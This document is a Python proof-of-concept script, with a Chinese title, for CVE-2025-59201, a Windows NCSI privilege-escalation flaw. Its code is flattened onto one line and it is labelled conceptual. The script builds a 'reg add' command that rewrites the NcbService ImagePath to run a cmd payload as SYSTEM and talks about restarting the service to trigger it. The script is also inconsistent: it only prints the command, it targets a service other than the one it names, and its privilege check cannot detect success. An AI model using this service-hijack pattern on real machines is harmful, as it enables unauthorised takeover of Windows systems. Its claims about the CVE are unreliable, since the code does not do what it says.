CVE-2025-59201：Windows NCSI网络连接状态指示器权限提升漏洞

# CVE-2025-59201 - Windows NCSI Privilege Escalation PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation pattern for the # improper access control vulnerability in NCSI service. # WARNING: For authorized security testing and educational purposes only. import os import sys import subprocess import ctypes from ctypes import wintypes # Check if running with sufficient privileges def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except: return False # Step 1: Identify NCSI service and its privileged resources def enumerate_ncsi_resources(): """ Enumerate NCSI-related registry keys, files, and service interfaces that may have weak ACLs allowing low-priv users to manipulate them. """ ncsi_paths = [ r"HKLM\SYSTEM\CurrentControlSet\Services\NcbService", r"HKLM\SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator", r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\NCSI", ] print("[*] Enumerating NCSI-related resources...") for path in ncsi_paths: print(f"[*] Checking: {path}") # Use icacls or PowerShell to check ACLs subprocess.run(["reg", "query", path], capture_output=True) # Step 2: Exploit improper access control def exploit_ncsi_access_control(): """ Exploit the improper access control by manipulating NCSI service configuration to execute code with SYSTEM privileges. """ if is_admin(): print("[!] Already running with admin privileges") return print("[*] Attempting privilege escalation via NCSI access control flaw...") # Example: Manipulate NCSI service registry to inject payload # The NCSI service may read configuration from registry keys that # are writable by low-privilege users due to improper ACLs try: # Attempt to modify NCSI-related configuration # This is a simplified representation of the attack pattern cmd = ( 'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\NcbService" ' '/t REG_SZ /v ImagePath /d "cmd.exe /c whoami > C:\\temp\\pwned.txt" /f' ) # In a real exploit, this would trigger the NCSI service to execute # the malicious payload with SYSTEM privileges print(f"[*] Would execute: {cmd}") print("[*] Triggering NCSI service restart to execute payload...") # sc stop NcbService && sc start NcbService except PermissionError as e: print(f"[-] Permission denied: {e}") # Step 3: Verify privilege escalation def verify_escalation(): """Verify if privilege escalation was successful.""" result = subprocess.run(["whoami", "/priv"], capture_output=True, text=True) print(f"[*] Current privileges:\n{result.stdout}") if "SeDebugPrivilege" in result.stdout or "SeImpersonatePrivilege" in result.stdout: print("[+] Privileges look elevated!") if __name__ == "__main__": print("=" * 60) print("CVE-2025-59201 - NCSI Privilege Escalation PoC") print("=" * 60) enumerate_ncsi_resources() exploit_ncsi_access_control() verify_escalation()